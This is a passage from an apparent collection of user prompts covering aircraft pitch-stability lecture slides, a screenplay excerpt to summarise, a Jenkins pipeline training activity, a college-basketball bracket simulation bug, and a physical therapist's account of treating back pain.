perturbed by $\\Delta \\alpha$ (small). The instantaneous pitching moment is given by\n$$\n\\Delta M=x\\_{A C} L\\_\\alpha \\Delta \\alpha\n$$\nStatic stability: need $\\Delta \\alpha \\cdot \\Delta M<0$, i.e., $x\\_{A C}<0$\nCondition for static stability of a wing: wing must be behind the CG\nBut we need $x\\_{A C}>0$ for positive lift!\nTwo ways to tackle this problem:\n- Use a flap and active control\n- Use a horizontal tail\n\nSlide 8: Trimming with a Horizontal Tail\nLet $\\alpha^0$ be the trim angle of attack of the aircraft. We will assume that:\nThe wing inclination angle $i\\_w=0$ and the tail is symmetric\nThe tail incidence angle $i\\_t$ can be varied as a control input\nThe effect of downwash is negligible\nThe lift on the tail is given by\n$$\nL\\_t=\\frac{1}{2} \\rho V^2 S\\_t C\\_{L\\_\\alpha}\\left(\\alpha+i\\_t\\right)\n$$\nNote: if the tail has an elevator instead of variable $i\\_t$ as the control input, then\n$$\nL\\_t=\\frac{1}{2} \\rho V^2 S\\_t\\left(C\\_{L\\_\\alpha}\\left(\\alpha+i\\_t\\right)+C\\_{L\\_{\\delta e}} \\delta\\_e\\right)\n$$\n\nSlide 9:\nAt trim, $M=M^{\\text {wing }}+M^{\\text {tail }}=0$ about the $C G$; i.e.,\n$$\n\\begin{aligned}\n& M^{\\text {wing }}+L^{\\text {wing }} x\\_{A C}=I\\_t L^{\\text {tail }} \\\\\n\\text { Thus, } & x\\_{A C}\\left(C\\_{L 0}+C\\_{L\\_\\alpha} \\alpha^0\\right)+c C\\_{m a c}=\\frac{I\\_t S\\_t}{S} C\\_{L\\_\\alpha}\\left(\\alpha^0+i\\_t\\right) \\\\\n\\text { i.e., } \\quad & \\frac{x\\_{A C}}{c}\\left(C\\_{L 0}+C\\_{L\\_\\alpha} \\alpha^0\\right)+C\\_{m a c}=V\\_H C\\_{L\\_\\alpha}\\left(\\alpha^0+i\\_t\\right)\n\\end{aligned}\n$$\nThe trim $A \\circ A$ is given by\n$$\n\\alpha^0=\\frac{1}{\\left(V\\_H-x\\_{A C} / c\\right) C\\_{L\\_\\alpha}}\\left(\\left(x\\_{a c} / c\\right) C\\_{L 0}+C\\_{m a c}\\right)-\\left(\\frac{V\\_H}{V\\_H-x\\_{A C} / c}\\right) i\\_t\n$$\nUsually, $V\\_H>x\\_{A C} / c$. Therefore, as $i\\_t$ increases (i.e., deflects downwards), the trim $\\alpha^0$ reduces, and vice-versa.\nTherefore, the tail-based control surface allows the aircraft to trim across a wide range of values of lift (and flight speeds). The same principle applies to elevator-based control.\n\nSlide 10: Static Stability\nSuppose that the angle of attack is perturbed by a small $\\Delta \\alpha$. Then,\nChange in lift on the wing: $\\Delta L^w=\\frac{1}{2} \\rho V^2 S C\\_{L\\_\\alpha} \\Delta \\alpha$\nChange in lift on HT: $\\Delta L^t=\\frac{1}{2} \\rho V^2 S\\_t C\\_{L\\_\\alpha} \\Delta \\alpha$\nNet change in pitching moment\n$$\n\\Delta M=\\Delta L^w x\\_{A C}-\\Delta L^t I\\_t=\\frac{1}{2} \\rho V^2 S c C\\_{L\\_\\alpha} \\Delta \\alpha\\left(\\frac{x\\_{A C}}{c}-V\\_H\\right)\n$$\nNeed $\\Delta \\alpha \\times \\Delta M<0$ for static stability\nAircraft is longitudinally statically stable only if $V\\_H>\\frac{X\\_{A C}}{c}$\n\nSlide 11: Interpreting the Static Stability Condition\nStatic stability condition: $V\\_H>X\\_{A C} / C$\nThe critical location of the $C G$ at which $c V\\_H=x\\_{A C}$ is called the neutral point (NP)\n- CG ahead of NP: statically stable\n- CG behind NP: statically unstable\nIf the whole aircraft were viewed as a single wing, then the NP corresponds the location of the $A C$ of the complete aircraft\nWe define the static margin:\n$$\n\\mathrm{SM}=\\frac{x\\_{N P}-x\\_{A C}}{c}\n$$\nAn aircraft is loaded on the ground with payload and fuel so that the static margin never decreases below a threshold\n```\n\nNow get started with your tutoring for lecture 10' -'Below are the next ten pages of the screenplay "Ruby Tuesday". Please summarize the below part of the story: \n\nAnd I’m the only one in there, so I\nget to be the one to fix all the\nproblems. To take care of it. To\nmake sure it’s everything it could\nbe.\nMIN\nSo you like being in charge?\nRUBY\nOh no, I’m not in charge. Brian is\nthe manager. Was the manager...\nRuby shudders away the painful memory.\nRUBY (CONT’D)\nYou know the person with the most\nemployee-of-the-month awards in\nSafeway company history actually\nworked in American Falls at Alpha\nSafeway.\nMIN\nMaybe you’ll get to meet them.\nRUBY\nI doubt it. They haven’t gotten an\naward in the last three years, I’m\nguessing they retired or something.\nMIN\nWell then when you get a job at\nAlpha Safeway, maybe you’ll finally\nbeat them.\nRuby smiles. They stare back up at the sky as a roadsideassistance\ntruck with its lights on approaches from behind.\nRUBY\nYou think they have grocery stores\nin space?\nMIN\nYeah. Grocery stores are universal.\nINT. CAR ON SIDE OF HIGHWAY – EVENING\nRuby immediately buckles herself in.\nRUBY\nIf we leave now, we can get to\nJasmine’s just an hour after\nsundown.\n\nRUBY (CONT’D)\n61.\nIf we blast cold air and sing show\ntunes, I can probably avoid a\nnarcoleptic episode.\nMIN\nWe can just get there tomorrow.\nRUBY\nReally?\nMIN\nYeah. I am having fun on this road\ntrip.\nRUBY\nYou…you are?\nMin nods.\nRUBY (CONT’D)\nWell then, where shall we stay\ntonight?\nCUT TO:\nEXT. ROAD - EVENING\nThe purple stallion drives past a sign that reads “Welcome to\nRichfield, Utah!”\nEXT. HOLIDAY INN – EVENING\nRuby closes the trunk of the car looking up at the hotel. Min\nleads the way.\nINT. HOLIDAY INN LOBBY – EVENING\nMin enters, holding his mess of clothes sans suitcase. He\napproaches the front desk and waits for an attendant.\nRUBY\nI’ve never been to a Holiday Inn\nbefore, this is exciting!\nMIN\nCalm down.\nRuby is taken aback. She looks to Min, and the faintest grin\ncrosses his face. Did Min really…make a joke?\nJust then, a HOTEL EMPLOYEE comes to the counter.\n\n62.\nHOTEL EMPLOYEE\nChecking in?\nMIN\nYes.\nHOTEL EMPLOYEE\nLast name?\nMIN\nMin.\nRUBY\nWait…Min is your last name?\nMin nods.\nRUBY (CONT’D)\nWait, then what’s your-\nHOTEL EMPLOYEE\nYour room number is listed on the\nkey holder. Breakfast is served\nfrom 6 to 11, and the bar is open\nuntil midnight.\nMIN\nThe bar?\nHOTEL EMPLOYEE\nYep! Right behind you.\nThe employee points to a modest, empty bar with a female\nbartender cleaning glasses behind the counter.\nMIN\nRuby, I have an idea.\nRuby looks on, half confused and half concerned.\nCUT TO:\nINT. HOLIDAY INN BAR – EVENING\nMin and Ruby approach the bar to find JETT, a 30-something\ngoth-turned-barkeep. She’s edgy, intimidating, and nothing at\nall like our two beloved heroes.\nJETT\nHey guys, what can I get ya?\n\n63.\nMIN\nI’d like to get my friend Ruby\ndrunk.\nRUBY\nOh, I don’t know about that. IMIN\nShe went to a party. It didn’t go\nwell. And now I’d like to recreate\nthe party atmosphere.\nJETT\nThat’s the spirit! Here, first\nround’s on the house.\nJett pours three shots of tequila.\nRUBY\nOh no, we can pay for them. I\nwouldn’t want you getting in\ntrouble with your manager for\npouring shots free of charge.\nJETT\nBelieve it or not, I actually own\nthis hotel. I just like working at\nthe bar, too. Cheers!\nJett throws the shot back like it’s water. Ruby, still\nshocked from Jett’s owner status, takes the shot in that\nbumbly sorta way beginners do. Ruby fails to hide her\ndisgust, Min looks delighted by the taste.\nRUBY\nHow come you didn’t ID us?\nJETT\nYou’re twenty six, he’s twenty\neight.\nThey both stand in awe. Ruby quickly turns Min around to\nwhisper and confer.\nRUBY\nAre you twenty-eight?\nMIN\nYes. Are you twenty-six?\nRUBY\nYes.\nThe two turn back around to face Jett.\n\n64.\nJETT\nIt’s the gift of a bartender. With\nenough practice, you pinpoint\nsomeone’s age down to the month.\nNow you guys drinking with me or\nwhat?\nRuby looks towards Min, unsure, until she sees Min’s face\nbreak into a smile. She can’t help but smile in return.\nINT. HOLIDAY INN BAR – LATER\nEmpty glasses on the counter with soaked napkins and semisucked\nlime wedges.\nRuby. Is. Drunk. Slurred speech, giggles, the whole shebang.\nMin looks like he’s vibing as well.\nRUBY\nYou guys wanna hear a secret?\nJett looks on with a sort of maternal pride.\nJETT\nWhat s your secret, sweetheart?\nRUBY\nI think Safeway overcharges for its\nfine cheeses.\nJETT\n(sarcastically)\nNoooo.\nRUBY\nShhh, don’t tell them I said that.\nI also think the self-checkout\nmachines are total bologna. They\nmalfunction every time you use\nthem.\nRuby smirks and covers her mouth, as if she just revealed\nsome controversial gossip. Min looks at her with shock.\nMIN\nI don’t like the way my hands smell\nafter I leave work.\nJett looks like she’s having a field day with these two.\nRUBY\nThank you for sharing that Min.\n\n65.\nMin gently sniffs his fingertips.\nRUBY (CONT’D)\nJett?\nJETT\nYes Ruby?\nRUBY\nTeach me your age-identifying ways.\nI never want to sell to another\nminor for as long as I live, if I’m\nso lucky as to work in alcohol\nsales again one day.\nJETT\nIt’s pretty easy once you get the\nhang of it. We just need some\npeople to practice on.\nRUBY\nThere’s nobody here.\nJETT\nI know. Follow me.\nCUT TO:\nINT. HOLIDAY INN HALLWAY – NIGHT\nJett and her two drunk puppies follow her down a hallway of\nrooms. Jett pulls out her official Holiday Inn name tag from\nher back pocket.\nJETT\nYou’d be surprised how powerful\nwearing a name tag makes you.\nRuby looks to Min in total fangirl mode. Jett knocks on a\nrandom door and out comes a TIRED WOMAN in a nightgown.\nJETT (CONT’D)\nGood evening ma’am, we’re so sorry\nto wake you at this hour. Do you\nhappen to have your ID on you?\nTIRED WOMAN\nMy ID?\nJETT\nYes, standard hotel procedure. Just\nwant to make sure everyone is in\nthe right room tonight.\n\n66.\nTIRED WOMAN\nUh, sure. Let me go get it.\nTired woman retreats into her room.\nJETT\nQuick, how old do you think she is?\nRUBY\nWhat? I don’t know! I haven’t seen\nher ID yet.\nJETT\nShe’s obviously a recent forty-two.\nCrow’s feet, hair roots, but with a\nslight glimmer of youth, the signs\nare all there.\nTired woman returns and hands over her ID to Jett. She takes\na quick look then hands it back.\nJETT (CONT’D)\nAlright, looks good Mrs. Krieger!\nHave a nice night!\nShe closes the door, Jett leads the other two away.\nRUBY\nWell?\nJETT\nShe turned 42 six weeks ago. Let’s\nmove, I have a lot to teach you.\nMONTAGE:\n- An old woman stares confusedly at Ruby. She writes 53 on\nher piece of paper. Jett looks appalled by the guess.\n- Ruby stares at a young man covered in tattoos and\npiercings. She writes 14, Jett shakes her head no.\n- A mother holding her baby stand impatiently. Ruby writes\n“Mom - 60. Baby - Under 21 (I think).” Jett sighs heavily.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA frustrated Ruby crumbles a piece of paper and throws it on\nthe ground.\n\n67.\nRUBY\nWe should just stop. I’m never\ngoing to be able to properly\nidentify a patron’s age.\nJETT\nNot with that attitude you’re not.\nMaybe we just need to get a little\nmore liquid confidence in ya.\nRUBY\nYou mean more alcohol?\nJett gives her a knowing look.\nCUT TO:\nINT. HOLIDAY INN BAR – NIGHT\nMore shots. More puckering faces. More uncontainable giggles.\nRuby reaches into her pocket, pulls out her name tag, and\nfastens it to her shirt.\nMONTAGE:\n- Two bikers in their 50s stand angrily in a doorway. Ruby\nwrites “Above 21” and Jett encouragingly nods. She turns back\ntowards the bikers and fearfully shuts the door.\n- A father and his son await Ruby’ verdict. She writes “16-18\nand 45-50.” Jett’s jaw drops and nods again.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA YOUNG MAN stands tired in the hallway, Ruby stares at him\nwith wicked intent.\nYOUNG MAN\nThis doesn’t make any sense, why do\nyou need to-\nJETT\nShush! Alright Ruby, above or below\ntwenty-one.\nRUBY\nUmmm...\nShe squints at the man. He’s viscerally uncomfortable.\nRUBY (CONT’D)\nHold your horses.\n\n68.\nShe steps closer to the man and squints more intensely.\nRUBY (CONT’D)\nHe’s twenty one on the dot!\nJett checks the man’s ID and smiles.\nJETT\nTurned twenty one last month.\nRUBY\nWell sir, you are able to legally\npurchase alcohol any time you like.\nRuby does an uncoordinated happy dance to herself\nMIN\nAnd your favorite deli meat is\nhickory-smoked ham.\nEveryone turns towards Min. He looks disheveled, and he’s\nwearing a pair of sunglasses from god knows where. He tips\nhis sunglasses down to make eye contact with the man.\nYOUNG MAN\nI…I do love hickory smoked ham.\nMin pushes his shades back up and walks away. An ecstatic\nRuby and Jett follow behind.\nINT. RUBY AND MIN’S HOTEL ROOM – NIGHT\nRuby and Min stumble in the room with Jett’s loving\nassistance. They’re giggly as hell.\nRUBY\nI can’t believe this is what being\ndrunk feels like.\nJETT\nPretty fun, isn’t it?\nRUBY\nFun? Are you kidding me? I’m\nunstoppable!\nRuby tries zooming around the room at what feels like hyperspeed,\nbut all we see is Ruby slowly bumping into furniture.\nInterrupting Ruby’s super-sonic sprints are the sudden sounds\nof Min’s flute. By the sounds of it, he’s playing “Girls Just\nWant to Have Fun” by Cyndi Lauper.\n\n69.\nJETT\nAs much as I want to keep this\nparty alive, I better get home.\nRuby gives Jett a giant, warm hug.\nRUBY\n(into Jett’s ear)\nThank you for helping me.\nJETT\nGood luck at Alpha Safeway. And\ndrink lots of water tonight, okay?\nRUBY\nWhy?\nJETT\nWell, if you don’t, you’ll wake up\nwith a really bad-\nCUT TO:\nINT. HOTEL BATHROOM – MORNING\nRuby stands in the mirror, deeply hungover. She’s never had\none before, and it shows. Every routine morning preparation\nis draining the life out of her.\nINT. HOTEL ROOM – MORNING\nRuby exits the bathroom to find Min spooning his flute.\nRUBY\nMin.\nHis eyes instantly open.\nRUBY (CONT’D)\nDo you feel sick too?\nMIN\nLet me see.\nHe sits up and contemplates for a bit. He slowly stands,\ntakes some cautious steps towards the bathroom, and gently\ncloses the door on Ruby. And then-\nThe unmistakable sound of hungover puking. Ruby rubs her\ntemples as he finishes what he must do.\nThe door reopens.\n\n70.' -'believe you are an SRE and Docker instructor. You have a task to build an activity to build the docker containers for the application. Do a minor change, create two Jenkins jobs, one for the regular DEV container building, and a second one for the PROD promote”. Keep in mind, to provide a Jenkins file for container creation. Use Groovy language. Make sure to follow the same approach as SRE material in the following material: \nIn this activity, we will code a Jenkins pipeline from scratch, so that you get to understand the layout of the file and the sections.\n\nThis is for demonstration purposes only and does not actually build anything like the activity that will build the orderbook application.\n\nScenario\nYou\'ve been asked to code a Jenkins pipeline into Jenkins that will pull the file from a Git repository and then run it.\n\nAs with all DevOps activities, Git is a core part: it is essential for historic changes and to ensure that if we lose our server, we can simply recreate jobs/tasks.\n\nOnce you have created the Jenkinsfile in Git, you will then create a Jenkins job to build/run the pipeline.\n\nIf you are familiar with using an IDE (Integrated Development Environment) such as Atom, IntelliJ, Visual Studio, or Visual Studio Code, you can use that IDE to code the pipeline and to work within your Git repository. The actions in the step-by-step will still be command-line based.\n\nStep-by-step\nGet the Git repository\nFirst, let\'s get to a suitable place in a Git repository we have access to.\n\nUsing https://github.com/The-Software-Guild/sre-git-refresh where you worked on your Git activities, we want you to now use the same directory to create a simple Jenkins pipeline.\nFirst, we need to identify where we are, as we need to be in the sre-git-refresh directory.\nOn Windows\n\ncd\ncd Documents\ncd sre-git-refresh \nOn Linux/Mac\n\ncd\ncd sre-git-refresh\nMake sure you are on your branch:\n\ngit checkout c124steves\nChange into your directory for the project, e.g.:\n\ncd c124steves\nNow we will create the pipeline file called Jenkinsfile:\nOn Windows\n\nnotepad Jenkinsfile\nOn Linux/Mac\n\nvim Jenkinsfile\nIf you don\'t like VI, and you have nano, just change vim to nano.\n\nTo start typing in the code, press i.\n\nTo finish and save do:\n:wq\nJenkinsfile content\nNow let\'s create the pipeline file contents.\n\nThe type of Jenkinsfile we are creating is called a declarative pipeline. This is handy to know if you are Googling for what to put in there, or what other fancy things you can do with a Jenkinsfile.\n\nThe contents of the file is encased in:\n\npipeline {\n \n }\nFor a Jenkins pipeline to execute, it must have an agent to run on. In our environment we have an already available container called kaniko which our DevOps have created and made easy to access. This makes our life easier as our agent is labelled kaniko so we can use a label rather than a complete definition. Below you will see that we\'ve added the agent and label code inside our pipeline block.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n }\nNow that we have the agent that our commands will run on, we can start to add stages. A pipeline will generally consist of one or more stages. So we will add a stages section to our code first as all stage definitions will be contained within the stages block.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n \n }\n }\nLet\'s add a stage to our pipeline and call it Task 1.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n \n }\n }\n }\nNow that we have the stage, let us make it do some work by adding a step with some Linux Shell code to print/echo out Compiling code.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n steps {\n sh """\n echo "Compiling code"\n """\n }\n }\n }\n }\nNow let\'s add a second stage to our pipeline. We’ll call it Task 2 and it will print out Testing code.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n steps {\n sh """\n echo "Compiling code"\n """\n }\n }\n stage("Task 2") {\n steps {\n sh """\n echo "Testing code"\n """\n }\n }\n }\n }\nWe now have a pipeline of two stages, both using the Shell echo statement to print out the text.\n\nLet\'s finally add a polling element to the pipeline, so that if our Git repository changes, it will run the pipeline without having to press a button.\n\npipeline {\n agent {\n label \'kaniko\'\n }\n stages {\n stage("Task 1") {\n steps {\n sh """\n echo "Compiling code"\n """\n }\n }\n stage("Task 2") {\n steps {\n sh """\n echo "Testing code"\n """\n }\n }\n }\n triggers {\n pollSCM(\'\\*/10 \\* \\* \\* 1-5\')\n }\n }\nThe triggers section we have added tells Jenkins to poll the Git repository every 10 minutes Monday to Friday inclusive.\n\nNow save your file and quit the application.\n\nRemember for Linux/Mac\n:wq\nIMPORTANT: Windows\n\nMake sure that you change the file extension from saving as .txt to \\*.\\* so that it does not add any extension to the file.\nAdding your code to Git\nNow that we have our file, we need to get it onto GitHub.\n\nStage your changes.\n\ngit add --all\nCommit to history.\n\ngit commit -m "Steves Jenkins Pipeline"\nPush to the remote repository, so that Jenkins will be able to see it.\n\ngit push\nCheck that your Jenkinsfile is there by going to https://github.com/The-Software-Guild/sre-git-refresh\n\nSelect your branch by clicking on the pull-down to the left of the screen which should contain the word main.\n\nRemember you can type in the name of your branch to make it easier to find.\n\nSelect your directory.\nCheck that the file Jenkinsfile is there.\nAdding to Jenkins\nNow we will make a Jenkins job that will be able to run your Pipeline.\n\nPoint your web browser to https://jenkins.computerlab.online\nMake sure you are logged into GitHub on that browser.\nClick New Item to the top left of the window.\nIn the text box under Enter an item name type in cXXXyourNamesimple\nWhere cXXX is your course code\nyourName is your firstname and lastname initial\nAnd the word simple\nAll characters must be lowercase and no spaces\nSelect Pipeline.\nOnly select the one that is a single word Pipeline; ignore all others.\nClick the blue OK button.\nScroll down to the bottom of the screen so that you see the Pipeline section heading.\nClick the pull-down underneath Definition and select Pipeline script from SCM.\nClick the pull-down underneath SCM and select Git.\nIn the text box underneath Repository URL type in https://github.com/The-Software-Guild/sre-git-refresh.git\nWe\'re going to pause here for a second, as you may have already created a credential. If you have, skip to the section called Selecting credential; otherwise, follow the section following called Create credential\n\nCreate credential\nIf you have not already created a credential during class you will need to create one now. The steps are:\n\nIn Web browser GitHub\nIn a different tab go to https://github.com/settings/tokens\nClick the Generate new token button.\nIn the Note box type in a use for the token, e.g., SRETraining.\nSpecify when you want the token to end. For this training select 7 days.\nTick the box next to repo.\nTick the box next to user.\nClick the Generate token button.\nCopy the access token value shown and store it somewhere for the next task.\nBack to Jenkins\nGo back to the tab with your Jenkins job.\nClick the Add button next to the Credentials pull-down.\nClick the Jenkins option that show up.\nA new window opens.\nKind remains as a Username and password.\nScope remains as Global (Jenkins, nodes, items, all child items, etc.).\nUsername type in your GitHub username.\nPassword copy in your GitHub personal access token.\nID type in your course number name so that you are able to identify your token, e.g. c124steves.\nDescription type in the same as what you typed into ID.\nClick Add.\nSelecting credential\nIf you already created a credential then you should be able to select it as follows:\n\nClick the pull-down selection underneath Credentials.\nSelect the credential that has your course number and name, e.g. c124steves inside ( ), e.g. (c124steves).\nContinuing the Jenkins job configuration\nNow that you have a token, let\'s get back to your Job creation.\n\nIn the text box under Branches to build and Branch Specifier (blank for \'any\'), change the word master to the name of your branch in the Git repository, e.g. c124steves.\nIn the text box under Script Path, type in your directory name within the Git repository and Jenkins file. So if your directory was called c124steves, you would type:\n\nc124steves/Jenkinsfile\nClick Save.\nYou will now be taken to the Job page.\nClick the Build Now link on the left of the page.\nWatch your pipeline run.\nYou should end up with a pipeline visual on completion with the box headings of Task 1 and Task 2, and both boxes should be green.\nConclusion\nIn this activity, you have learned what the syntax of a basic Jenkins pipeline looks like and have created and executed that pipeline.' -"every round stage is printing 64 and it's all out of whack. \n\nRound of 64 results:\n 1. purd over farleigh dickenson with 94.49%\n 2. houston over northern ky with 92.10%\n 3. alabama over corpus christi with 91.56%\n 4. kansas over howard with 91.10%\n 5. UCLA over unc asheville with 89.92%\n 6. texas over colgate with 85.98%\n 7. arizona over princeton with 84.56%\n 8. gonz over grand canyon with 83.89%\n 9. marq over vermont with 83.73%\n 10.xavier over kennesaw with 82.63%\n 11.tenn over louisiana with 80.59%\n 12.baylor over ucsb with 79.61%\n 13.ksu over montana state with 78.77%\n 14.Conn over iona with 78.18%\n 15.st mary over vcu with 74.41%\n 16.virginia over furman with 72.24%\n 17.sdsu over charleston with 70.49%\n 18.indiana over kent state with 69.28%\n 19.creighton over nc state with 66.73%\n 20.duke over oral roberts with 66.70%\n 21.iowa st over pitt with 66.44%\n 22.tcu over az state with 64.52%\n 23.miami fl over drake with 62.98%\n 24.ky over providence with 60.83%\n 25.texas a&m over penn st with 58.57%\n 26.michigan st over usc with 55.99%\n 27.arkansas over illinois with 54.24%\n 28.utah state over missouri with 52.71%\n 29.memph over fau with 52.24%\n 30.auburn over iowa with 51.12%\n 31.northwestern over boise st with 51.01%\n 32.maryland over wv with 50.33%\n 33.wv over maryland with 49.67%\n 34.boise st over northwestern with 48.99%\n 35.iowa over auburn with 48.88%\n 36.fau over memph with 47.76%\n 37.missouri over utah state with 47.29%\n 38.illinois over arkansas with 45.76%\n 39.usc over michigan st with 44.01%\n 40.penn st over texas a&m with 41.43%\n 41.providence over ky with 39.16%\n 42.drake over miami fl with 37.02%\n 43.az state over tcu with 35.48%\n 44.pitt over iowa st with 33.56%\n 45.oral roberts over duke with 33.30%\n 46.nc state over creighton with 33.27%\n 47.kent state over indiana with 30.72%\n 48.charleston over sdsu with 29.51%\n 49.furman over virginia with 27.76%\n 50.vcu over st mary with 25.60%\n 51.iona over Conn with 21.82%\n 52.montana state over ksu with 21.22%\n 53.ucsb over baylor with 20.39%\n 54.louisiana over tenn with 19.41%\n 55.kennesaw over xavier with 17.37%\n 56.vermont over marq with 16.27%\n 57.grand canyon over gonz with 16.11%\n 58.princeton over arizona with 15.45%\n 59.colgate over texas with 14.02%\n 60.unc asheville over UCLA with 10.08%\n 61.howard over kansas with 8.90%\n 62.corpus christi over alabama with 8.44%\n 63.northern ky over houston with 7.90%\n 64.farleigh dickenson over purd with 5.51%\n\nRound of 32 results:\n 1. purd over houston with 94.43%\n 2. houston over purd with 92.16%\n 3. alabama over kansas with 91.65%\n 4. kansas over alabama with 91.15%\n 5. UCLA over texas with 89.88%\n 6. texas over UCLA with 86.13%\n 7. arizona over gonz with 84.32%\n 8. gonz over arizona with 84.11%\n 9. marq over xavier with 83.96%\n 10. xavier over marq with 82.77%\n 11. tenn over baylor with 80.74%\n 12. baylor over tenn with 79.51%\n 13. ksu over Conn with 78.55%\n 14. Conn over ksu with 78.07%\n 15. st mary over virginia with 74.19%\n 16. virginia over st mary with 71.76%\n 17. sdsu over indiana with 70.45%\n 18. indiana over sdsu with 69.51%\n 19. creighton over duke with 66.96%\n 20. duke over creighton with 66.64%\n 21. iowa st over tcu with 65.99%\n 22. tcu over iowa st with 64.59%\n 23. miami fl over ky with 63.23%\n 24. ky over miami fl with 61.03%\n 25. texas a&m over michigan st with 58.41%\n 26. michigan st over texas a&m with 56.16%\n 27. arkansas over utah state with 54.07%\n 28. utah state over arkansas with 52.74%\n 29. memph over auburn with 52.16%\n 30. northwestern over maryland with 51.14%\n 31. auburn over memph with 50.78%\n 32. maryland over northwestern with 50.12%\n 33. wv over boise st with 49.88%\n 34. iowa over fau with 49.22%\n 35. boise st over wv with 48.86%\n 36. fau over iowa with 47.84%\n 37. missouri over illinois with 47.26%\n 38. illinois over missouri with 45.93%\n 39. usc over penn st with 43.84%\n 40. penn st over usc with 41.59%\n 41. providence over drake with 38.97%\n 42. drake over providence with 36.77%\n 43. az state over pitt with 35.41%\n 44. pitt over az state with 34.01%\n 45. oral roberts over nc state with 33.36%\n 46. nc state over oral roberts with 33.04%\n 47. kent state over charleston with 30.49%\n 48. charleston over kent state with 29.55%\n 49. furman over vcu with 28.24%\n 50. vcu over furman with 25.81%\n 51. iona over montana state with 21.93%\n 52. montana state over iona with 21.45%\n 53. ucsb over louisiana with 20.49%\n 54. louisiana over ucsb with 19.26%\n 55. kennesaw over vermont with 17.23%\n 56. vermont over kennesaw with 16.04%\n 57. grand canyon over princeton with 15.89%\n 58. princeton over grand canyon with 15.68%\n 59. colgate over unc asheville with 13.87%\n 60. unc asheville over colgate with 10.12%\n 61. howard over corpus christi with 8.85%\n 62. corpus christi over howard with 8.35%\n 63. northern ky over farleigh dickenson with 7.84%\n 64. farleigh dickenson over northern ky with 5.57%" -'Sally’s basic problem, in my view, is behavioral. That is, she has not been taking care of herself while she has been taking care of business. She has put on a ton of weight, to begin with, which hasn’t helped. And she has had a lot of pain. Interestingly (and familiarly to me), the fear of its onset has been almost as bad as the pain itself. That hasn’t helped her business either, she says. Like Fit Fred, she reads off the list of things her medical doctor says are wrong with her with something approaching pride. And, sure enough, the list goes on for quite a while. She has central stenosis, foraminal stenosis (that’s what the second operation was for, but it’s back), bone spurs (bony growths like calluses, but on the bone), and good old spondylolisthesis (a slippage of one vertebra over another, which hurts). \nOf the four surgeries she has had, the most recent two, the fusion and the laminectomy, relieved some of her debilitating leg and foot pain for a while, but serious back pain remains, along with intermittent bouts of buttock and leg pain when she walks. We talk about her postsurgical physical therapy. It helped somewhat while she was doing it but the lower back pain always came back. Now everything she does hurts. Walking, sitting, standing, you name it. She scoffs when I ask about resuming an exercise regimen. “That, sir, is impossible.” Well, we’ll see.\nI start by asking her to get up on the table and lie on her back. Not so fast, she says. That is almost beyond her. She weighs an awful lot and every move hurts. It is not easy for her to get on the table, and she doesn’t like it. I help her, but I weigh only about 150; I can see her thinking to herself, “Maybe a bigger therapist?” But we get there. Once she settles into the position on her back, I ask her to bend her knees and put her feet flat on the table. Same thing I told myself to do, that day of my back spasm. It hurts, she says. I ignore that, and tell her to move her legs up and down as if marching in place, bringing the knees up toward the torso. Does this make your back hurt? Of course it does. But—sneaky, I know—she is getting used to the idea that I think it’s going to be possible for her to move in this position, which is true. Okay, I say, let’s lessen the range of motion a lot. Now just barely lift your feet off of the table. Does this make your back hurt? Yes. Growing frustration. \nNow I shift gears and, for the next fifteen minutes, I talk to her about finding her neutral spine. She does. Then I ask her to tighten the muscles in her abdomen, which—God bless her—she finally does. I’m getting off track and talking a bit about the beginning of therapy, I know, but therapy and diagnosis are inseparable in her case. \nThen I have her do the marching in place again, but with those muscles engaged. Does that hurt? “No,” she says with surprise. And darned if she doesn’t brighten a little. A wisp of pleasure or relief comes across her face. Huh! \nI tell her that she has just crossed the Rubicon. We have begun on the road to a cure. It is going to be long and hard, but my guess is that we are going to get there. “Yeah?” she asks, not daring to believe it. \n“Yeah,” I say, “I believe we are. No guarantees and a lot of work for you. But my guess is that you’ve been a worker all your life, that you’ll work at this and that you will make it. Yes.” She is plenty skeptical, but she smiles, too. \nI explain that if she can move her legs without pain in her back while lying down then she can eventually do it upright. And that is called walking. It has been a while since she was able to walk without pain, and there have been plenty of days when she couldn’t walk at all. I push her to do a little more, but that little march is all she can do for now. Fine, that’s where we start. \nThere can be a serious, psychological component in all this, and it was very serious indeed with Sally. She had become deeply scared of movement. Any and all movement because any movement hurts. Her default solution has been not to move at all. Worse than that, her real solution in recent times has been to sit on the sofa and drink quite a bit of white wine. It worked, in a way, but was disastrous, too. It has given her this hideous weight problem. It hasn’t made her very good company, and it has been brutal for her business. But she didn’t hurt when doing that. So she sat on the couch for many hours a day, doing some business and quite a lot of drinking. My complicated task—and the book may not be much help on this one—was to wean her from the sofa-and-wine solution and get her into the movement solution. I was cautiously optimistic. Justifiably optimistic, it turns out. She is a proud woman and had a right to be. I thought that that fact and the early easing of pain just might do the job.\nSally and I have been at it for six months and she has done remarkably well. We are not there yet, but she has made terrific progress, her spirits are much improved, and her drinking much abated. Six months into our work, she is walking with her spouse around the neighborhood at night without much pain. She is playing with her grandchildren. She is going to the movies. She goes to the office rather than having everything brought to her at home. And she is doing serious (for her) strength training! She sees all this as a near-miracle and is charmingly grateful. Is she totally pain-free? No. She may never be. Does she have her life back? Yes, quite a bit of it, anyway. I want to see her make more progress. She thinks what has happened thus far is extraordinary.\nTHE GATEWAY THEORY OF PAIN \nHere is a little anecdote about the walking-in-place solution with which so many cures begin. A big reason for the reduction of pain is that tensing the abdominal muscles in the right way keeps the spine from moving and causing irritation. But, another reason is that it is a simple distraction from pain, to get the patient to focus on movement. We have gateways or pathways over which pain moves to the brain, and they have a limited capacity. One of the things about the walking-in-place phenomenon is that the “reports” of this activity to the brain take up a fair amount of neural space and block the gateways. There is less room for the pain reports to get through. So they don’t. Some do, of course, but fewer. Thus, the simple business of walking-in-place, which serves many functions, blocks the pain highway and lessens the sense of pain. Sounds trifling but it works. It’s like the nurse pinching the spot where she’s going to give you the shot: she wants to keep you busy. Your neural pathways, anyway.\nRegular Robert \nOn the fitness scale, Regular Robert was somewhere in the middle. In terms of his lifestyle and temperament, he was a lunatic. Like a lot of my patients here in Aspen, he is successful, a strong alpha personality, a serious 